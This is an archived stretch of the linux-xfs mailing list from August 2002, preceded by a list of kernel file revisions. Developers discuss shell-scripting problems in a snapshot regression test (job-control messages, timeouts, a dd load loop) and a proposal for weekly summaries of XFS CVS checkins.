linux/arch/ppc64/kernel/bitops.c - 1.3 linux/arch/ppc64/kernel/head.S - 1.5 linux/arch/ppc64/kernel/htab.c - 1.5 linux/arch/ppc64/kernel/i8259.c - 1.2 linux/arch/ppc64/kernel/idle.c - 1.5 linux/arch/ppc64/kernel/irq.c - 1.5 linux/arch/ppc64/kernel/misc.S - 1.6 linux/arch/ppc64/kernel/mk_defs.c - 1.6 linux/arch/ppc64/kernel/open_pic.c - 1.4 linux/arch/ppc64/kernel/pSeries_lpar.c - 1.5 linux/arch/ppc64/kernel/ppc_ksyms.c - 1.6 linux/arch/ppc64/kernel/process.c - 1.6 linux/arch/ppc64/kernel/prom.c - 1.6 linux/arch/ppc64/kernel/ptrace32.c - 1.3 linux/arch/ppc64/kernel/rtasd.c - 1.5 linux/arch/ppc64/kernel/signal.c - 1.7 linux/arch/ppc64/kernel/signal32.c - 1.7 linux/arch/ppc64/kernel/smp.c - 1.8 linux/arch/ppc64/kernel/sys32.S - 1.2 linux/arch/ppc64/kernel/sys_ppc32.c - 1.6 linux/arch/ppc64/kernel/syscalls.c - 1.3 linux/arch/ppc64/kernel/time.c - 1.6 linux/arch/ppc64/kernel/traps.c - 1.5 linux/arch/ppc64/kernel/xics.c - 1.5 linux/arch/ppc64/lib/Makefile - 1.4 linux/arch/ppc64/lib/dec_and_lock.c - 1.2 linux/arch/ppc64/mm/imalloc.c - 1.2 linux/include/asm-ppc64/kgdb.h - 1.2 linux/include/asm-ppc64/machdep.h - 1.5 linux/include/asm-ppc64/mmu_context.h - 1.3 linux/include/asm-ppc64/unistd.h - 1.5 linux/include/asm-ppc64/thread_info.h - 1.4 linux/include/asm-ppc64/rwsem.h - 1.2 linux/include/asm-ppc64/system.h - 1.6 linux/include/asm-ppc64/spinlock.h - 1.4 linux/include/asm-ppc64/softirq.h - 1.3 linux/include/asm-ppc64/smplock.h - 1.3 linux/include/asm-ppc64/smp.h - 1.4 linux/include/asm-ppc64/processor.h - 1.7 linux/drivers/isdn/hisax/hisax_hfcpci.c - 1.2 linux/drivers/net/tokenring/3c359.c - 1.3 linux/fs/jfs/inode.c - 1.10 linux/fs/jfs/jfs_txnmgr.c - 1.12 linux/drivers/net/tg3.c - 1.9 linux/drivers/net/e100/e100.h - 1.7 linux/include/linux/futex.h - 1.4 linux/arch/ia64/sn/io/ifconfig_net.c - 1.3 linux/arch/ia64/sn/kernel/setup.c - 1.4 linux/arch/ia64/sn/io/sn1/hubcounters.c - 1.2 linux/arch/ia64/sn/io/sn2/pcibr/pcibr_dvr.c - 1.2 linux/arch/ia64/sn/fakeprom/Makefile - 1.4 linux/arch/ia64/sn/io/sn1/pcibr.c - 1.2 linux/drivers/ide/ata-timing.c - 1.6 linux/drivers/net/tc35815.c - 1.3 linux/drivers/usb/class/Makefile - 1.5 linux/drivers/usb/class/printer.c - 1.8 linux/drivers/usb/core/Makefile - 1.8 linux/drivers/usb/core/devio.c - 1.7 linux/include/asm-generic/percpu.h - 1.2 linux/drivers/usb/core/hcd.c - 1.8 linux/drivers/usb/core/hcd.h - 1.6 linux/drivers/usb/core/hub.c - 1.9 linux/drivers/usb/core/hub.h - 1.4 linux/drivers/usb/input/hid-core.c - 1.6 linux/drivers/usb/core/usb.c - 1.13 linux/drivers/usb/media/konicawc.c - 1.4 linux/drivers/usb/host/ehci-dbg.c - 1.4 linux/drivers/usb/host/ehci-hcd.c - 1.7 linux/drivers/usb/host/ehci-q.c - 1.8 linux/drivers/usb/host/ehci-sched.c - 1.7 linux/drivers/usb/host/ehci.h - 1.3 linux/drivers/usb/host/ohci-q.c - 1.9 linux/drivers/base/sys.c - 1.3 linux/drivers/base/power.c - 1.3 linux/drivers/base/base.h - 1.7 linux/drivers/usb/media/usbvideo.c - 1.6 linux/drivers/usb/image/scanner.h - 1.6 linux/drivers/usb/media/ibmcam.c - 1.3 linux/drivers/video/clps711xfb.c - 1.6 linux/drivers/video/anakinfb.c - 1.6 linux/drivers/usb/media/ultracam.c - 1.3 linux/drivers/usb/media/usbvideo.h - 1.4 linux/drivers/usb/net/cdc-ether.c - 1.6 linux/mm/readahead.c - 1.8 linux/drivers/usb/misc/Config.help - 1.4 linux/include/linux/percpu.h - 1.2 linux/drivers/usb/misc/Makefile - 1.4 linux/drivers/usb/misc/tiglusb.c - 1.7 linux/include/asm-ia64/percpu.h - 1.2 linux/drivers/isdn/i4l/isdn_ppp.c - 1.5 linux/drivers/isdn/i4l/isdn_net.h - 1.4 linux/include/asm-ia64/cacheflush.h - 1.2 linux/drivers/isdn/i4l/isdn_net.c - 1.4 linux/include/asm-ia64/acpi.h - 1.3 linux/drivers/isdn/i4l/isdn_common.c - 1.5 linux/drivers/isdn/i4l/isdn_audio.c - 1.3 linux/include/asm-x86_64/percpu.h - 1.3 linux/drivers/isdn/i4l/Config.in - 1.3 linux/drivers/isdn/hisax/Config.in - 1.7 linux/arch/ia64/hp/zx1/hpzx1_misc.c - 1.4 linux/arch/ia64/hp/zx1/hpzx1_machvec.c - 1.2 linux/arch/ia64/hp/sim/hpsim_console.c - 1.2 linux/arch/ia64/hp/Config.in - 1.2 linux/arch/ia64/hp/sim/simserial.c - 1.4 linux/arch/ia64/hp/sim/simscsi.c - 1.3 linux/arch/ia64/hp/sim/hpsim_setup.c - 1.3 linux/include/asm-ia64/tlbflush.h - 1.2 linux/arch/ia64/hp/sim/hpsim_irq.c - 1.2 linux/arch/ia64/hp/common/sba_iommu.c - 1.4 linux/drivers/isdn/hardware/avm/t1pci.c - 1.5 linux/drivers/isdn/hardware/avm/c4.c - 1.5 linux/drivers/isdn/hardware/avm/Config.in - 1.4 linux/drivers/isdn/hardware/avm/b1pci.c - 1.5 linux/drivers/isdn/capi/capi.c - 1.6 linux/drivers/isdn/hardware/Config.in - 1.2 linux/drivers/isdn/capi/capifs.c - 1.4 linux/drivers/scsi/scsi_mid_low_api.txt - 1.3 linux/fs/ntfs/file.c - 1.6 linux/fs/ntfs/ChangeLog - 1.8 linux/fs/ntfs/aops.c - 1.8 linux/drivers/video/fbcon-accel.c - 1.3 linux/drivers/isdn/capi/capilib.c - 1.2 linux/drivers/ide/tcq.c - 1.10 linux/drivers/block/umem.c - 1.6 linux/drivers/ide/quirks.c - 1.3 linux/drivers/usb/host/uhci-hcd.c - 1.7 linux/drivers/usb/host/uhci-hcd.h - 1.2 linux/drivers/ide/pcihost.h - 1.5 linux/drivers/ide/pcidma.c - 1.10 linux/include/linux/page-flags.h - 1.5 linux/mm/page-writeback.c - 1.8 linux/init/Makefile - 1.6 linux/drivers/ide/atapi.c - 1.3 linux/drivers/ide/ioctl.c - 1.11 linux/drivers/video/cfbcopyarea.c - 1.3 linux/drivers/ide/ioctl.h - 1.2 linux/drivers/ide/main.c - 1.8 linux/drivers/ide/probe.c - 1.10 linux/drivers/isdn/capi/kcapi.h - 1.2 linux/drivers/isdn/capi/kcapi_proc.c - 1.3 linux/drivers/base/bus.c - 1.6 linux/drivers/base/driver.c - 1.5 linux/drivers/usb/host/hc_sl811_rh.c - 1.2 linux/drivers/video/cfbfillrect.c - 1.2 linux/drivers/video/tridentfb.c - 1.2 linux/drivers/video/pm3fb.h - 1.2 linux/drivers/video/pm3fb.c - 1.2 linux/fs/mpage.c - 1.5 linux/drivers/usb/storage/raw_bulk.c - 1.2 linux/drivers/char/hvc_console.c - 1.3 linux/drivers/usb/core/urb.c - 1.4 linux/drivers/usb/core/message.c - 1.6 linux/drivers/acpi/bus.c - 1.5 linux/drivers/acpi/thermal.c - 1.4 linux/drivers/acpi/system.c - 1.6 linux/drivers/ide/device.c - 1.6 linux/drivers/isdn/hisax/ipacx.c - 1.2 linux/drivers/usb/host/ohci-sa1111.c - 1.4 linux/drivers/usb/core/hcd-pci.c - 1.3 linux/arch/i386/kernel/suspend.c - 1.5 linux/arch/i386/kernel/cpu/umc.c - 1.2 linux/arch/i386/kernel/cpu/transmeta.c - 1.2 linux/arch/i386/kernel/cpu/rise.c - 1.2 linux/arch/i386/kernel/cpu/proc.c - 1.2 linux/arch/i386/kernel/cpu/nexgen.c - 1.2 linux/arch/i386/kernel/cpu/intel.c - 1.4 linux/arch/i386/kernel/cpu/cyrix.c - 1.2 linux/drivers/s390/block/dasd_genhd.c - 1.4 linux/arch/i386/kernel/cpu/Makefile - 1.2 linux/arch/i386/kernel/cpu/amd.c - 1.2 linux/arch/i386/kernel/cpu/centaur.c - 1.2 linux/arch/i386/kernel/cpu/common.c - 1.4 linux/net/llc/llc_if.c - 1.3 linux/include/net/llc_sap.h - 1.2 linux/include/asm-ia64/agp.h - 1.2 linux/include/net/llc_s_st.h - 1.2 linux/include/net/llc_s_ev.h - 1.2 linux/net/core/ext8022.c - 1.3 linux/include/net/llc_s_ac.h - 1.2 linux/include/net/llc_pdu.h - 1.3 linux/include/net/llc_main.h - 1.2 linux/net/llc/llc_stat.c - 1.2 linux/net/llc/llc_sock.c - 1.2 linux/net/llc/llc_sap.c - 1.3 linux/net/llc/llc_s_st.c - 1.3 linux/net/llc/llc_s_ac.c - 1.2 linux/net/llc/llc_s_ev.c - 1.3 linux/net/llc/llc_evnt.c - 1.3 linux/net/llc/llc_mac.c - 1.3 linux/net/llc/llc_c_st.c - 1.3 linux/include/net/llc_mac.h - 1.2 linux/net/llc/llc_actn.c - 1.2 linux/net/llc/llc_pdu.c - 1.3 linux/net/llc/llc_c_ac.c - 1.3 linux/net/llc/llc_c_ev.c - 1.3 linux/net/llc/llc_main.c - 1.3 linux/net/llc/llc_conn.c - 1.3 linux/include/net/llc_actn.h - 1.2 linux/include/net/llc_c_ac.h - 1.2 linux/include/net/llc_c_ev.h - 1.2 linux/include/net/llc_conn.h - 1.2 linux/include/net/llc_evnt.h - 1.2 linux/drivers/input/keyboard/atkbd.c - 1.4 linux/drivers/input/tsdev.c - 1.3 linux/drivers/input/serio/i8042.c - 1.4 linux/drivers/input/evbug.c - 1.4 linux/drivers/input/mouse/psmouse.c - 1.4 linux/drivers/input/mouse/amimouse.c - 1.4 linux/drivers/input/keyboard/xtkbd.c - 1.3 linux/drivers/input/keyboard/sunkbd.c - 1.3 linux/drivers/input/keyboard/amikbd.c - 1.3 linux/drivers/input/joystick/iforce/iforce-usb.c - 1.3 linux/drivers/acpi/tables/tbrsdt.c - 1.3 linux/drivers/acpi/tables/tbgetall.c - 1.2 linux/drivers/acpi/include/amlresrc.h - 1.3 linux/drivers/input/keyboard/newtonkbd.c - 1.3 linux/drivers/input/uinput.c - 1.3 linux/drivers/acpi/namespace/nsxfeval.c - 1.2 linux/drivers/acpi/namespace/nsdumpdv.c - 1.2 linux/drivers/acpi/include/acdisasm.h - 1.2 linux/mm/rmap.c - 1.3 linux/kernel/cpu.c - 1.2 linux/drivers/ide/timing.h - 1.2 linux/include/asm-ppc64/mmzone.h - 1.2 linux/include/asm-ia64/rmap.h - 1.2 linux/include/linux/preempt.h - 1.3 linux/drivers/base/fs/Makefile - 1.2 linux/drivers/base/fs/bus.c - 1.2 linux/drivers/base/fs/device.c - 1.2 linux/drivers/base/fs/driver.c - 1.2 linux/drivers/base/fs/fs.h - 1.2 linux/fs/jfs/resize.c - 1.2 From owner-linux-xfs@oss.sgi.com Tue Aug 27 15:40:20 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 15:40:22 -0700 (PDT) Received: from imf22bis.bellsouth.net (mail022.mail.bellsouth.net [205.152.58.62]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7RMeJtG024738 for ; Tue, 27 Aug 2002 15:40:20 -0700 Received: from TAZ2 ([67.35.80.69]) by imf22bis.bellsouth.net (InterMail vM.5.01.04.19 201-253-122-122-119-20020516) with SMTP id <20020827224340.DMIR2113.imf22bis.bellsouth.net@TAZ2>; Tue, 27 Aug 2002 18:43:40 -0400 Date: Tue, 27 Aug 2002 18:42:24 -0400 From: Greg Freemyer Subject: re[2]: Snapshot regression test [WAS: re[6]: Summary - Snapshot Effort] To: Michael Best cc: Nathan Scott , Mime-Version: 1.0 Organization: The NorcrossGroup X-Mailer: GoldMine [5.70.11111] Content-type: text/plain Message-Id: <20020827224340.DMIR2113.imf22bis.bellsouth.net@TAZ2> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g7RMeKtG024739 X-archive-position: 70 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: freemyer@NorcrossGroup.com Precedence: bulk X-list: linux-xfs Michael & Danny (& Nathan when the sun starts shining down there :), Thanks for the ideas, but this seems to be way more complicated than it should be. I just don't really know where to put in the logic you each recommended. FYI: I have been writing shell scripts for many years on an as needed basis, but this one is at the very edge of my skills. FIrst, if the "xfs test harness" ran the test scripts in the standard non-interactive mode, this issue would not come up at all. Unfortunately from my perspective, it somehow invokes the scripts in interactive mode.i.e. The shell notification messages I'm having problems with only occur in interactive shells. Non-interactive shells simply don't have these messages. If there is a way to have my script run as non-interactive, then the whole problem goes away. (I just figured that out in the last hour or so.) Ignoring that possibility, I have created as simple of a script as I could to show the problem. It is below my signature. (If anyone has a better way to do a timeout, I'm all ears. I've never done one in shell code before.) Details: I have resolved the specific dd loop issue by changing it from a "while true" to "while $RUNNING" and a reset the RUNNING variable in my cleanup logic. I'm now only have problems with the timeout subshell I'm creating, but the problem is very similar. In the script, you will see the first thing you have to do is choose the scenario you are trying to model: snapshot success, or hang To run the script use the ". test_script" syntax. This runs it interactively like the xfs test harness does. Warning: This script kills your current shell, so invoke a subshell to run the test_script in each time you want to run it. In my normal shell with a success I get output like [1]- Done ( sleep $SIMULATED_SNAPSHOT_DELAY ) Snapshot success cleanup occurs here WIth a simulated lockup I get: [1]+ Done sleep 10 snapshot creation lockup cleanup occurs here Unfortunately, when the shell notifications that occur inside the xfs test harness have the pid instead of the subshell instance #. What I need to do is get rid of those Done messages, or get them to be consistent. i.e. Without a pid that changes on every invocation. Greg Freemyer Internet Engineer Deployment and Integration Specialist Compaq ASE - Tru64 v4, v5 Compaq Master ASE - SAN Architect The Norcross Group www.NorcrossGroup.com ==== Sample script to show problem #!/bin/sh #Choose one of the below based on whether you are testing snapshot success, or lockup #SIMULATED_SNAPSHOT_DELAY=5 # simulated success SIMULATED_SNAPSHOT_DELAY=5000 # simulated lockup status=1 #default to failure _cleanup() { echo cleanup occurs here trap 0 1 2 3 15 exit $status } trap "_cleanup" 0 1 2 3 15 # Start of real code sleep $SIMULATED_SNAPSHOT_DELAY & SNAPSHOT_pid=$! ( sleep 10 & #This is my timeout for lvcreate to finish TIMERpid=$! # Save my pid, so I can be cancelled wait $TIMERpid echo snapshot creation lockup # xfs_freeze -u /scratch # This will allow the lvcreate to run to completion kill $SNAPSHOT_pid # For this test script, just kill the sleep, but the kill has no effect on the real hung process. kill $$ # Terminate this whole test ) & TIMER_shell_pid=$! # Save the whole subshells pid, so it can be cancelled wait $SNAPSHOT_pid kill $TIMER_shell_pid $TIMERpid #cancel the timeout echo Snapshot success status=0 # success exit From owner-linux-xfs@oss.sgi.com Tue Aug 27 15:44:08 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 15:44:10 -0700 (PDT) Received: from stumpy.chowhouse.com (root@stumpy.chowhouse.com [209.180.91.165]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7RMi7tG025236 for ; Tue, 27 Aug 2002 15:44:08 -0700 Received: from localhost (james@localhost) by stumpy.chowhouse.com (8.11.6/8.11.3) with ESMTP id g7RMlR006937; Tue, 27 Aug 2002 16:47:27 -0600 Date: Tue, 27 Aug 2002 16:47:26 -0600 (MDT) From: James Rich To: Christoph Hellwig cc: Steve Lord , Subject: Re: Hacking XFS (was Re: reserve space for root?) In-Reply-To: <20020823211050.A27629@infradead.org> Message-ID: MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 8bit X-archive-position: 71 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: james@stumpy.chowhouse.com Precedence: bulk X-list: linux-xfs On Fri, 23 Aug 2002, Christoph Hellwig wrote: > I think XFS would really need someone to maintain the website. It's > horribly out of date, and misses some important links. For example > it would be nice to have a link to my XFS merge status or even a htmlized > version. I don't know whether externals are allowed to work on oss.sgi.com, > though.. Okay, I've been thinking about what I can do and have come up with something along these lines. The mozilla project has a status report which is basically a weekly summary of what people have done. This is different than the merge status report, which is a more overview of what has been done and what lies ahead. I propose to do a (possibly weekly or more often) summary of the TAKE messages so that people know what has been fixed in CVS, similar to the mozilla project's weekly status report. I've put together a very quick example of what I plan to do at: http://www.chowhouse.com/~james/xfs/checklist.html it covers the two checkins today (oops - Steve just checked in a third). Tell me if you think this is a good thing or a waste of time. James Rich From owner-linux-xfs@oss.sgi.com Tue Aug 27 15:44:57 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 15:44:59 -0700 (PDT) Received: from deliverator.sgi.com (deliverator.SGI.COM [204.94.214.10] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7RMiutG025448 for ; Tue, 27 Aug 2002 15:44:57 -0700 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by deliverator.sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via SMTP id PAA00369 for ; Tue, 27 Aug 2002 15:48:21 -0700 (PDT) mail_from (nathans@wobbly.melbourne.sgi.com) Received: from wobbly.melbourne.sgi.com (wobbly.melbourne.sgi.com [134.14.55.135]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id IAA10274; Wed, 28 Aug 2002 08:47:05 +1000 Received: (from nathans@localhost) by wobbly.melbourne.sgi.com (SGI-8.9.3/8.9.3) id JAA59596; Wed, 28 Aug 2002 09:47:04 +1100 (AEDT) Date: Wed, 28 Aug 2002 09:47:03 +1100 From: Nathan Scott To: Greg Freemyer Cc: linux-xfs@oss.sgi.com Subject: Re: Snapshot regression test [WAS: re[6]: Summary - Snapshot Effort] Message-ID: <20020828094703.A59377@wobbly.melbourne.sgi.com> References: <20020827190552.VHDK10702.imf26bis.bellsouth.net@TAZ2> Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20020827190552.VHDK10702.imf26bis.bellsouth.net@TAZ2>; from freemyer@NorcrossGroup.com on Tue, Aug 27, 2002 at 03:04:35PM -0400 Content-Transfer-Encoding: 8bit X-archive-position: 72 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nathans@sgi.com Precedence: bulk X-list: linux-xfs On Tue, Aug 27, 2002 at 03:04:35PM -0400, Greg Freemyer wrote: > Nathan, hey Greg, > I have the very basics of a new test almost working. I'm assuming it will be 068. Good stuff. 068 sounds fine. > One big problem I have is that I start a background infinite loop of dd's to generate some i/o load. > > i.e. > while true; do > dd if=/scratch/dummy of=/scratch/junk bs=64k >/dev/null 2>&1 > rm /scratch/junk > sync > done >/dev/null 2>&1 & > > At the end of the script I kill this off. Unfortunately, when it dies the parent shell is notifying the user with output like: > > > 068: line 127: 3956 Killed while true; do > > dd if=/scratch/dummy of=/scratch/junk bs=64k >/dev/null 2>&1; rm /scratch/junk; sync; > > done >/dev/null 2>&1 > > in my 068.out file. Since this has pids in the output, I always get a failure message. > > Is there a way to say that output should not be compared, or do you know some shell trick to avoid having this output generated. The trick is knowing where the output is coming from and selectively filtering it so that you only have error/other messages which are of relevence to the test being sent to the output file. In your case, it looks like the parent shell of your while loop (this is almost certainly this is the shell process running your script) is the source of your "Killed" message. So, one approach here would be to do something like wrapping the loop in a sub-shell (using parens) and sending that shell's output into oblivion, ala... ( while true; do ... foo ... done ) >/dev/null 2>&1 & You may also want to recheck your shell loop above, it doesn't look quite like what I thought it was trying to do when I first read it - are you missing a count=XXX argument from your dd? If not, the rm and sync will (by my reading of it, anyway) never get executed... and not much point in making it a loop? Perhaps I've misunderstood the intent there though. Have fun. cheers. -- Nathan From owner-linux-xfs@oss.sgi.com Tue Aug 27 15:49:01 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 15:49:03 -0700 (PDT) Received: from phoenix.infradead.org (phoenix.infradead.org [195.224.96.167]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7RMmxtG026172 for ; Tue, 27 Aug 2002 15:49:00 -0700 Received: from hch by phoenix.infradead.org with local (Exim 4.10) id 17jpCC-0002Qy-00; Tue, 27 Aug 2002 23:52:24 +0100 Date: Tue, 27 Aug 2002 23:52:24 +0100 From: Christoph Hellwig To: James Rich Cc: Steve Lord , linux-xfs@oss.sgi.com Subject: Re: Hacking XFS (was Re: reserve space for root?) Message-ID: <20020827235224.A9343@infradead.org> References: <20020823211050.A27629@infradead.org> Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: ; from james@stumpy.chowhouse.com on Tue, Aug 27, 2002 at 04:47:26PM -0600 Content-Transfer-Encoding: 8bit X-archive-position: 73 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: hch@infradead.org Precedence: bulk X-list: linux-xfs On Tue, Aug 27, 2002 at 04:47:26PM -0600, James Rich wrote: > > I think XFS would really need someone to maintain the website. It's > > horribly out of date, and misses some important links. For example > > it would be nice to have a link to my XFS merge status or even a htmlized > > version. I don't know whether externals are allowed to work on oss.sgi.com, > > though.. > > Okay, I've been thinking about what I can do and have come up with > something along these lines. The mozilla project has a status report > which is basically a weekly summary of what people have done. This is > different than the merge status report, which is a more overview of what > has been done and what lies ahead. I propose to do a (possibly weekly or > more often) summary of the TAKE messages so that people know what has been > fixed in CVS, similar to the mozilla project's weekly status report. > > I've put together a very quick example of what I plan to do at: > > http://www.chowhouse.com/~james/xfs/checklist.html > > it covers the two checkins today (oops - Steve just checked in a third). > Tell me if you think this is a good thing or a waste of time. I think it looks very nice. Now if only we could get this onto oss.sgi.com.. From owner-linux-xfs@oss.sgi.com Tue Aug 27 15:51:37 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 15:51:39 -0700 (PDT) Received: from imf22bis.bellsouth.net (mail022.mail.bellsouth.net [205.152.58.62]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7RMpatG026609 for ; Tue, 27 Aug 2002 15:51:36 -0700 Received: from TAZ2 ([67.35.80.69]) by imf22bis.bellsouth.net (InterMail vM.5.01.04.19 201-253-122-122-119-20020516) with SMTP id <20020827225457.DUJX2113.imf22bis.bellsouth.net@TAZ2>; Tue, 27 Aug 2002 18:54:57 -0400 Date: Tue, 27 Aug 2002 18:53:42 -0400 From: Greg Freemyer Subject: re[2]: Snapshot regression test [WAS: re[6]: Summary - Snapshot Effort] To: Nathan Scott cc: Mime-Version: 1.0 Organization: The NorcrossGroup X-Mailer: GoldMine [5.70.11111] Content-type: text/plain Message-Id: <20020827225457.DUJX2113.imf22bis.bellsouth.net@TAZ2> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g7RMpbtG026610 X-archive-position: 74 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: freemyer@NorcrossGroup.com Precedence: bulk X-list: linux-xfs Hey Nathan, I'm glad your in. I'm going to hang around for an hour or so in hopes you get back to me. As I said in my other e-mail, I have the dd loop working now, but I'm very stumped by my timeout logic. Is there a reason the test scripts are being run in interactive mode? In non-interactive mode these messages don't come out at all. Maybe I have something wrong in my setup? Greg >> On Tue, Aug 27, 2002 at 03:04:35PM -0400, Greg Freemyer wrote: >> > Nathan, >> hey Greg, >> > I have the very basics of a new test almost working. I'm assuming it >> will be 068. >> Good stuff. 068 sounds fine. >> > One big problem I have is that I start a background infinite loop of >> dd's to generate some i/o load. >> > >> > i.e. >> > while true; do >> > dd if=/scratch/dummy of=/scratch/junk bs=64k >/dev/null 2>&1 >> > rm /scratch/junk >> > sync >> > done >/dev/null 2>&1 & >> > >> > At the end of the script I kill this off. Unfortunately, when it dies >> the parent shell is notifying the user with output like: >> > >> > > 068: line 127: 3956 Killed while true; do >> > > dd if=/scratch/dummy of=/scratch/junk bs=64k >/dev/null 2>&1; rm >> /scratch/junk; sync; >> > > done >/dev/null 2>&1 >> > >> > in my 068.out file. Since this has pids in the output, I always get a >> failure message. >> > >> > Is there a way to say that output should not be compared, or do you know >> some shell trick to avoid having this output generated. >> The trick is knowing where the output is coming from and selectively >> filtering it so that you only have error/other messages which are of >> relevence to the test being sent to the output file. >> In your case, it looks like the parent shell of your while loop (this >> is almost certainly this is the shell process running your script) is >> the source of your "Killed" message. So, one approach here would be >> to do something like wrapping the loop in a sub-shell (using parens) >> and sending that shell's output into oblivion, ala... >> ( while true; do >> ... foo ... >> done ) >/dev/null 2>&1 & >> You may also want to recheck your shell loop above, it doesn't look >> quite like what I thought it was trying to do when I first read it - >> are you missing a count=XXX argument from your dd? If not, the rm and >> sync will (by my reading of it, anyway) never get executed... and not >> much point in making it a loop? Perhaps I've misunderstood the intent >> there though. >> Have fun. >> cheers. >> -- >> Nathan Greg Freemyer Internet Engineer Deployment and Integration Specialist Compaq ASE - Tru64 v4, v5 Compaq Master ASE - SAN Architect The Norcross Group www.NorcrossGroup.com From owner-linux-xfs@oss.sgi.com Tue Aug 27 15:52:47 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 15:52:49 -0700 (PDT) Received: from h132-197-179-27.gte.com (h132-197-179-27.gte.com [132.197.179.27]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7RMqktG026855 for ; Tue, 27 Aug 2002 15:52:47 -0700 Received: from kanpc.gte.com (localhost [IPv6:::1]) by h132-197-179-27.gte.com (8.12.5/8.12.5) with ESMTP id g7RMtbmr056430; Tue, 27 Aug 2002 18:55:37 -0400 (EDT) (envelope-from ak03@kanpc.gte.com) Received: (from ak03@localhost) by kanpc.gte.com (8.12.5/8.12.5/Submit) id g7RMtbjg056429; Tue, 27 Aug 2002 18:55:37 -0400 (EDT) Date: Tue, 27 Aug 2002 18:55:37 -0400 From: Alexander Kabaev To: James Rich Cc: hch@infradead.org, lord@sgi.com, linux-xfs@oss.sgi.com Subject: Re: Hacking XFS (was Re: reserve space for root?) Message-Id: <20020827185537.68c2a006.ak03@gte.com> In-Reply-To: References: <20020823211050.A27629@infradead.org> Organization: Verizon Data Services X-Mailer: Sylpheed version 0.8.1claws120 (GTK+ 1.2.10; i386-portbld-freebsd5.0) Mime-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 8bit X-archive-position: 75 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: ak03@gte.com Precedence: bulk X-list: linux-xfs Hi, > I've put together a very quick example of what I plan to do at: > > http://www.chowhouse.com/~james/xfs/checklist.html Pretty cool. If only it also listed all affected files.... -- Alexander Kabaev From owner-linux-xfs@oss.sgi.com Tue Aug 27 15:59:43 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 15:59:53 -0700 (PDT) Received: from imf22bis.bellsouth.net (mail022.mail.bellsouth.net [205.152.58.62]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7RMxgtG027741 for ; Tue, 27 Aug 2002 15:59:43 -0700 Received: from TAZ2 ([67.35.80.69]) by imf22bis.bellsouth.net (InterMail vM.5.01.04.19 201-253-122-122-119-20020516) with SMTP id <20020827230303.EAHS2113.imf22bis.bellsouth.net@TAZ2>; Tue, 27 Aug 2002 19:03:03 -0400 Date: Tue, 27 Aug 2002 19:01:48 -0400 From: Greg Freemyer Subject: re[2]: Hacking XFS (was Re: reserve space for root?) To: James Rich cc: Mime-Version: 1.0 Organization: The NorcrossGroup X-Mailer: GoldMine [5.70.11111] Content-type: text/plain Message-Id: <20020827230303.EAHS2113.imf22bis.bellsouth.net@TAZ2> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g7RMxhtG027746 X-archive-position: 76 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: freemyer@NorcrossGroup.com Precedence: bulk X-list: linux-xfs It looks good, but as someone trying to avoid CVS I'm not sure I will ever use it. One general comment, weekly or daily summaries are nice, but a cumulative list is even better. Then someone can review all the activity since the last major release. You could start a new cumulative list every time a release came out. If you decide to go that way, I think a ID # would be good to have for each line. That way, the experts can tell us, get the xfs 1.1 release with the #1 and #2 patches and see if it fixes your problem. Greg ====== >> On Fri, 23 Aug 2002, Christoph Hellwig wrote: >> > I think XFS would really need someone to maintain the website. It's >> > horribly out of date, and misses some important links. For example >> > it would be nice to have a link to my XFS merge status or even a >> htmlized >> > version. I don't know whether externals are allowed to work on >> oss.sgi.com, >> > though.. >> Okay, I've been thinking about what I can do and have come up with >> something along these lines. The mozilla project has a status report >> which is basically a weekly summary of what people have done. This is >> different than the merge status report, which is a more overview of what >> has been done and what lies ahead. I propose to do a (possibly weekly or >> more often) summary of the TAKE messages so that people know what has been >> fixed in CVS, similar to the mozilla project's weekly status report. >> I've put 